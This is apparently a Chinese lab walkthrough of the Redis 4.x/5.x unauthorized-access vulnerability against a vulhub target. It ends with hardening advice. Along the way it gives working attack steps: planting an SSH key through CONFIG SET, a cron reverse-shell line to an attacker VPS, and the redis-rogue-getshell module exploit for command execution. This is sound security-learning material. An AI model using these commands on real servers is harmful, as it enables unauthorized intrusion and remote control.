Redis 4.x/5.x未授权访问漏洞
Redis是什么?
Redis是数据库,一个高性能的key-value存储系统,是使用ANSI C语言编写的。
Redis未授权访问漏洞
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
影响版本
影响版本Redis未授权访问在4.x/5.0.5版本以下
攻击手段
1.直接未授权访问,对redis数据库的操作
2.ssh免密钥登录(有思维导图)
3.对redis数据库写马子拿shell,与第二点条件和思路差不多
4.写进反弹shell,设置反弹时间反弹。
5.利用现有exp
环境
攻击机为192.168.10.144 靶机为192.168.10.158
攻击和靶机都需要安装redis环境。
攻击工具下载
- 下载压缩包
wget http://download.redis.io/releases/redis-4.0.11.tar.gz - 解压
tar -zxvf redis-4.0.11.tar.gz - 编译
cd redis-4.0.11 # 切换
make # 编译
如果要使用连接的话,要进入安装的目录然后./后执行即可,可以-h看看配置如何使用
root@kali:~/redis-4.0.11/src# ./redis-cli -h
但是
解决的方法是root@kali:~# sudo cp redis-4.0.11/src/redis-cli /usr/local/bin/
(授予redis-cli一个全局使用的权限)
当然了每个人的目录都是不一样的,所以根据自己的情况分析
靶机漏洞环境准备:(已经搭建好vulhub)
root@kali:~/vulhub/redis/4-unacc# docker-compose up -d
至此环境已经构建完成
攻击机进攻复现(一)
如果只是漏洞挖掘,不深入拿shell,以下步骤即可。
对靶机的一个6379redis的端口探测
root@kali:~# nmap -p 6379 -script redis-info 192.168.10.158
- 进行未授权访问连接
root@kali:~# redis-cli -h 192.168.10.158
如图所示,已经连接上靶机的redis数据库,可以对其进行一些数据库的操作。
其中redis数据库的一些操作
dbsize 查看所有key的数目
flushdb 删除当前选择数据库中的所有key
flushall 删除所有数据库中的所有key
save: 将数据同步保存到磁盘
bgsave: 异步保存
lastsave: 上次成功保存到磁盘的Unix时间戳
info: 查询server信息
config: 配置server
slaveof: 改变复制策略设置
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
方法二:(需root权限)导入ssh,面密钥登录(失败
攻击机,对ssh生成一个空密码
root@kali:~# ssh-keygen -t rsa
如图所见,生成的密码保存在/.ssh目录下
切换到.ssh/的目录,可见的确生成了rsa的密钥,需要把该密钥复制到一个文本中
root@kali:~/.ssh# (echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) > AuFeng.txt
把该文本传输到靶机上
root@kali:~/.ssh# cat AuFeng.txt | redis-cli -h 192.168.10.158 -x set ok
然后登录靶机redis,然后把路径修改为root/.ssh
redis-cli -h 192.168.10.158
Config set dir修改路径的时候,发现该以下error问题,说明该redis不是以root权限启动的话,是无法修改路径的,这样的话,该漏洞也无法使用。
没办法了,我在靶机使用 sudo 启动漏洞环境,还是失败
在这里只能说说如果redis是root权限下操作的大体的思路:
参考文章: https://www.freebuf.com/vuls/162035.html
这篇文章是我5月份的时候写的,现在7月18号,因为攻防演练,让我意识到redis未授权这一块知识需要重新补充,所以在自己的服务器上搭建了redis环境,也思考了如何避免redis未授权的漏洞
方法二:导入ssh,免密钥登录(实战成功
(echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) > AuFeng.txt
- 1
root@kali:~/.ssh# cat AuFeng.txt |redis-cli -h 目标ip -x set crack
OK
先set dir到 ssh生成公、密钥的路径/root/.ssh下,然后把上传的文件设置为authorized_keys,然后save就ok了, 为什么如此设置? 一般ssh生成公、密钥的路径都会在/root/.ssh目录下,一般ssh免密钥登录都是/root/.ssh中的authorized_keys作为认证登录的文件。
最后一步记得要save,很关键。
实现免密钥登录
方法三 利用计划任务执行命令反弹shell(需root权限)
有时候 目标服务器没有使用过ssh,就没有/.ssh 这个目录
但是能用set 证明是root权限,所以可以利用计划任务执行命令反弹shell
/var/spool/cron/
这个目录是以账号来区分每个用户自己的执行计划
root用户执行的就会在/var/spool/cron/
下面创建root文件
set xx "\n* * * * * bash -i >& /dev/tcp/自己vps的ip/1234 0>&1\n"
- 1
方法四 使用已有的exp执行远程命令执行(非root权限)
Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。
步骤如下,先下载好exp。
root@kali:~# git clone https://github.com/vulhub/redis-rogue-getshell
- 1
然后进入到RedisModulesSDK/目录进行一个编译
root@kali:~/redis-rogue-getshell# cd RedisModulesSDK/
root@kali:~/redis-rogue-getshell/RedisModulesSDK# make
- 1
- 2
最后直接打exp
root@kali:~/redis-rogue-getshell/RedisModulesSDK# python3 redis-master.py -r 192.168.10.158 -p 6379 -L 192.168.10.144 -P 8888 -f RedisModulesSDK/exp.so -c "id"
- 1
可见,redis运行的权限不是root。
遗憾:
由于环境搭建的问题上浪费了许多的时间,最后因为运行的权限问题(还是没有解决),导致无法复现使用ssh免密钥登录、还有redis反弹shell的实现。
参考文章(https://www.freebuf.com/column/158065.html)
修复方案(重启redis才能生效)
重启很重要,不是说关了重新启动就可以了,需要如下操作才能正常重启
[root@localhost src]# ./redis-server ../redis.conf
- 1
修复操作如下:
进入redis配置文件redis.conf
ip绑定,不允许除本地外的主机远程登录redis服务 将#注释去掉
开启保护模式,不允许远程连接redis服务将no 改为yes
修改默认端口
以低权限运行 Redis 服务(重启redis才能生效)切身体会
为 Redis 添加密码验证(重启redis才能生效)
Redis 4.x/5.x未授权访问漏洞相关推荐
- UCloud-201809-001:Redis服务未授权访问漏洞安全预警
UCloud-201809-001:Redis服务未授权访问漏洞安全预警 尊敬的UCloud用户,您好! 发布时间 2018-09-11 更新时间 2018-09-11 漏洞等级 High CV ...
- Redis未授权访问漏洞记录(端口:6379)
目录 Redis 扫描 未授权登录以及利用 写入SSH公钥,进行远程登录 定时任务反弹shell 写入一句话木马 其它一句话木马 写入/etc/passwd文件 利用主从复制RCE 本地Red ...
- Redis 未授权访问漏洞与getshell(附getshell检测工具)
0x00 Redis简介 Redis 简介. Redis 是完全开源免费的,遵守 BSD 协议,是一个灵活的高性能 key-value 数据结构存储,常见用来作为数据库,其在安全配置问题上存在一些问题 ...
- Redis未授权访问漏洞详细版
Redis未授权访问漏洞 Redis未授权访问漏洞原理 Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样 ...
- 漏洞检测与防御:Redis未授权访问漏洞复现
漏洞检测与防御:Redis未授权访问漏洞复现 1. 未授权访问漏洞 未授权访问漏洞可以理解为安全配置.权限认证.授权页面存在缺陷,导致其他用户可以直接访问,从而引发权限可被操作,数据库.网站目录等敏感 ...
- Redis未授权访问漏洞复现
Redis介绍 redis是一个key-value存储系统.和Memcached类似,它支持存储的value类型相对更多,包括string(字符串).list(链表).set(集合).zset(sor ...
- Redis未授权访问漏洞(四)SSH key免密登录
前言 系列文章 Redis未授权访问漏洞(一)先导篇 Redis未授权访问漏洞(二)Webshell提权篇 Redis未授权访问漏洞(三)Redis写入反弹连接定时任务 SSH key免密登录 实战实 ...
- redis未授权访问漏洞利用
redis是一个key-value存储系统,拥有强大的功能,目前普及率很高,redis是用ansic语言编写,支持网络.可基于内存亦可持久化的日志型.Key-Value数据库,并提供多种语言的APL, ...
- Redis未授权访问漏洞的重现与利用
前言: 最近配置openvas的时候安装了redis,听说曾经曝出过一个未授权访问漏洞,便找了一下相关资料想自己动手复现一下漏洞的利用过程,当然所有的攻击性操作都是在虚拟机上完成的,本文所有的操作是在 ...
最新文章
- 城市大脑不仅是AI系统,更是结合人类智慧的混合智能巨系统
- 玩转GridView
- linux socket文件数限制,Linux下高并发socket最大连接数所受的限制问题
- 【计算理论】可判定性 ( 计算模型与语言 | 区分 可计算语言 与 可判定语言 | 证明 通用图灵机语言是 可计算语言 | 通用任务图灵机 与 特殊任务图灵机 )
- Bootstrap的x-editable行编辑
- DAY12 生成器初始与列表生成式
- 裂墙推荐!IntelliJ IDEA 常用插件一览,让效率成为习惯
- 用usecase获取需求的方法是否有缺陷,还有什么地方需要改进
- centos7下永久修改hostname
- java基本语法大全(全)_Java基本语法大全(全)
- Codeforces Round #622 C2 - Skyscrapers
- 基于LASSO的波士顿房价分析
- MIMO技术杂谈(三):知己知彼,百战不殆--信道信息的获取和应用
- captcha图片验证码自动识别
- centos7下搭建lnmp环境包含yum源直接安装和源码编译安装,以及php5.3和php7.6版本
- STM32的SG90舵机驱动
- table 添加表行的底部边框、定制表格边框
- Execution Error, return code 1 from org.apache.hadoop.hive.ql.exec.mr.MapRedTask
- 最新猎豹网校C语言数据结构与算法项目实战(共32集)
- 警醒——规划好自己的IT之路